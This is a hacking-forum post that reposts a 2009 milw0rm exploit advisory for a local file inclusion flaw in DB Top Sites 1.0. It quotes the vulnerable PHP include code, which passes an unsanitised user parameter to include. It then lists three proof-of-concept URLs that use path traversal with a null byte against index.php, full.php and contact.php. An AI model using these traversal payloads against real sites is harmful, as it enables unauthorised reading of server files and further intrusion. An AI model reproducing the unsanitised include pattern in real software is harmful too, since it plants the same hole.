love hacking

Would you like to react to this message? Create an account in a few clicks or log in to continue.

Multi Ethnic Hacking Group


    DB Top Sites 1.0 (index.php u) Local File Inclusion Vulnerability

    Foxi
    Foxi
    Foxi
    Admin


    Posts : 92
    Reputation : -1
    Join date : 2009-07-08
    • Post n°1

    DB Top Sites 1.0 (index.php u) Local File Inclusion Vulnerability Empty DB Top Sites 1.0 (index.php u) Local File Inclusion Vulnerability

    Post by Foxi Wed Jul 08, 2009 4:16 am

    Code:
    ######################################################################
    [+] DB Top Sites v1.0 (index.php u) Local File Inclusion Vulnerability
    [+] Discovered By SirGod
    [+] www.mortal-team.org
    #######################################################################

    [+] Local File Inclusion

     - Vulnerable code is everywhere

    -------------------------------------------------------------------------------------------------------
    if ( $u != "" ) {

    if ( file_exists( "./sites/session/$u.session.php" ) ){
    include "./sites/session/$u.session.php";
    include "./sites/$u.php";
    -------------------------------------------------------------------------------------------------------

    - PoC's

        http://127.0.0.1/[path]/full.php?u=../../../../../../BOOTSECT.BAK%00

        http://127.0.0.1/[path]/index.php?u=../../../../../../BOOTSECT.BAK%00

        http://127.0.0.1/[path]/contact.php?u=../../../../../../BOOTSECT.BAK%00


    #######################################################################

    # milw0rm.com [2009-06-15]

    • Back to top
      Current date/time is Sun May 19, 2024 8:09 pm